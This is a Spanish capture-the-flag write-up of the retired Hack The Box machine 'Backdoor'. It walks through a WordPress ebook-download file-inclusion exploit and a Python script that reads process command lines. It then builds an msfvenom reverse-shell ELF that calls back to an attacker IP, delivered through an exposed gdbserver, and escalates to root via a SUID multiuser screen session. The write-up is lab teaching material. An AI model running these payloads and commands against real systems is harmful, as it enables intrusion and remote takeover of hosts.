BackDoor Write-Up

Fecha de lanzamiento20 Nov 2021
EstadoRetirada
DificultadEasy
PlataformaLinux
IP10.10.11.125

Información de la máquina


RECONOCIMIENTO

Mediante el escaneo con la herramienta nmap podemos observar que nos reporta que existen tres puerto abiertos en la máquina víctima: 22, 80 y 1337.

nmap -p- --open -T5 -v -n -Pn -oN nmap_scan 10.10.11.125
ports=$(cat nmap_scan | grep -oP "^\d*" | xargs | tr " ", ",")
nmap -sCV -p$ports -Pn -oN nmap_services 10.10.11.125

La herramienta nmap no nos ha devuelto información relevante acerca del servicio que está corriendo en este puerto. Probando de manera manual conectarnos con nc o mandarle una petición con curl tampoco devuelve ningún output prometedor, por lo que puede ser un puerto al que tengamos que volver más tarde una vez tengamos más información.

Teniendo la versión de SSH, si buscamos en LaunchPad lo que nos devuelve es que se trata de una máquina corriendo Ubuntu Focal. Más allá de eso, como no tenemos credenciales hay poco más que podamos hacer (vamos a evitar realizar un ataque de fuerza bruta de momento).

Más allá de lo que parece una página por defecto, no encontramos mucha información en la página web a simple vista. Si corremos la herramienta WhatWeb y vemos las cabeceras de respuesta, nos reporta que se trata de un WordPress de version 5.8.1

Antes de tirar alguna herramienta automatizada, si hacemos un poco de búsqueda de forma manual por los diferentes directorios típicos de WordPress, podemos observar que el directorio /wp-content/plugins/ tiene capacidad de «Directory Listing«. Esto no es usual es WordPress, ya que por defecto WordPress sitúa un index.php en este directorio para prevenir el filtrado de datos de plugins a posibles atacantes.

Vemos un plugin llamado ebook-download y si leemos el archivo readme.txt podemos ver que la versión en uso es la 1.1.

En una rápida búsqueda mediante la herramienta searchsploit, tenemos un exploit para la versión en uso.

Plugin Exploitation – Shell as User

La vulnerabilidad explotada es un Local File Inclusion. Viendo el exploit parece que el parámetro ebookdownloadurl acepta como argumentos directorios locales del sistema y no está correctamente sanitizado. Si probamos a ver el archivo /etc/passwd de la máquina víctima vemos que somos capaces.

Si recordamos del reconocimiento de la máquina, había un servicio desconocido corriendo en el puerto 1337. Vamos a tratar de obtener una lista de procesos corriendo en la máquina victima con el fin de ver algo más de información acerca de este puerto.

Si observamos en local en nuestra máquina, en el directorio /proc/ se alojan diferentes directorios numerados, uno para cada ID de proceso corriendo en este momento. Dentro de cada uno de estos directorios se encuentra otro directorio llamado cmdline, que contiene el comando usado para correr el proceso.

Se trata de un Binario, así que a la hora de tramitar una petición de prueba al proceso numero 1 del sistema víctima, vamos a tener que ajustar algunos parámetros de curl para que nos de la información.

curl -s "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/1/cmdline" -o- 

La respuesta nos devuelve el parámetro (la ruta) repetido tres veces, luego sin dejar ningún espacio nos da el comando, pero donde deberíamos tener espacios el resultado incluye \x00 (nulls). Por ultimo la respuesta acaba en <script>window.close()</script>.

Si encontramos el proceso correcto, vamos a dar con el cmdline que se ha usado para levantar el servicio y por lo tanto vamos a poder ver que servicio se está exponiendo. Para ello vamos a montar un script en Python3 que nos automatice esto:

#!/usr/bin/env python3

from pwn import *
import requests
import signal
import sys
import re
import time

def def_handler(sig, frame):
    print("\n\n [!] Saliendo . . . \n")
    sys.exit(1)

# Control + C
signal.signal(signal.SIGINT, def_handler)

# Variables Globales
url = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="

def request():

    p1 = log.progress("Fuzzing Process PID")
    p1.status("Starting Fuzzing . . .")

    time.sleep(2)

    for i in range(1, 1000):

        p1.status("Trying with PID %d" %i)

        path = "/proc/%d/cmdline" % i
        requesturl = url + path
        r = requests.get(requesturl)
        
        indice_ultimo_cmdline = r.content.rfind(b'/cmdline')
        data_desde_ultimo_cmdline = r.content[indice_ultimo_cmdline + len(b'/cmdline'):].decode('utf-8')
        data_desde_ultimo_cmdline = data_desde_ultimo_cmdline.replace('\x00', ' ')
        data_desde_ultimo_cmdline = data_desde_ultimo_cmdline.replace('<script>window.close()</script>', '')
        
        if data_desde_ultimo_cmdline:
            print("PID %d Command: %s" %(i, data_desde_ultimo_cmdline))

        else:
            None

if __name__ == '__main__':
    request()

Si corremos el script tenemos el siguiente output:

Vemos una referencia al puerto 1337 en el proceso con el PID 846. Se está corriendo gdbserver como el usuario user en bucle por el puerto 1337.

SI buscamos por gdbserver en HackTricks, vemos una explotación que consiste en crear un elf malicioso y subirlo al debugger de la máquina víctima y correrlo allí.

Primero vamos a crear un elf malicioso con msfvenom:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.12 LPORT=443 PrependFork=true -f elf -o reverse.elf
chmod +x reverse.elf

A continuación, vamos a debuggearlo en nuestra máquina atacante y nos vamos a conectar al servidor remoto (víctima) que es el que está exponiendo gdbserver por el puerto 1337:

gdb reverse.elf
target extended-remote 10.10.11.125:1337

Una vez hemos establecido la conexión, vamos a cargar el binario:

remote put reverse.elf /dev/shm/reverse

Por último, nos ponemos en escucha con NetCat en local, y procedemos a fijar el archivo cargado como archivo a debuggear de forma remota:

nc -lvnp 443 # Local
set remote exec-file /dev/shm/reverse
run 

Ya somos el usuario «User» dentro de la máquina Backdoor (10.10.11.125) y efectivamente podemos corroborar que se trata de un Ubuntu Focal 20.04

Si queremos una explotación automática de gdbserver, podemos usar la herramienta de Metasploit para ello. ahorrándonos pasos y obteniendo una shell de manera automática.

sudo msfconsole
search gdb
use 0

A continuación vamos a configurar los distintos parámetros del exploit, y vamos a fijar el siguiente payload (linux/x64/meterpreter/reverse_tcp)

Si queremos salir de la consola del Meterpreter y correr comandos, tenemos que introducir el comando shell.

Privilege Escalation – Shell as Root

Si volvemos al script de procesos, vemos algo que nos llama la atención además de gdbserver. Se está corriendo en bucle un comando donde screen se ve involucrado.

Si formateamos un poco el output del proceso que vemos, se está corriendo el siguiente script:

/bin/sh -c while true;
    do sleep 1;
    find /var/run/screen/S-root/ -empty -exec screen -dmS root \;
done

Por defecto, cuando se crea una sesión con Screen, la herramienta crea un directorio en /var/run/screen/S-{username}/{session id}.{session name}. En este caso el parámetro -empty le está indicando a la herramienta find que solo devuelva directorios o archivos vacíos. Entonces unicamente va a devolver algo si el directorio S-root está vacío, lo que significaría que no existe una sesión para el usuario Root, y a continuación se dispone a crearla.

Esto lo hace mediante la invocación de Screen con tres argumentos:

  • -dm : Inicia Screen en Modo Detached.
  • -s root : renombra la sesión.

Además si filtramos por binarios SUIDs en el sistema, vemos que screen es uno de ellos, por lo que puede ser ejecutado con permisos del propietario (en este caso Root).

Si observamos el siguiente post de Internet, podemos ver que no solo necesitaríamos que Screen tenga permisos SUID para poder entrar en la sesión sin ser el usuario que la invocó, sino que debe de estar configurado en modo Multiuser y que el nombre de usuario del que tenemos la terminal esté agregado.

Vamos a probar por esta vía porque parece que por aquí van los tiros y la máquina ha sido configurada de tal manera para que nos sea posible escalar privilegios por estos medios.

screen -x root/

Si verificamos el archivo /root/.screenrc, vemos que el modo Multiuser está activado y que nuestro usuario está agregado en el archivo (este archivo se ejecuta cada vez que screen inicia).

Ya tenemos una terminal como ROOT y podemos ver ambas flags.

Jorge Escrito por: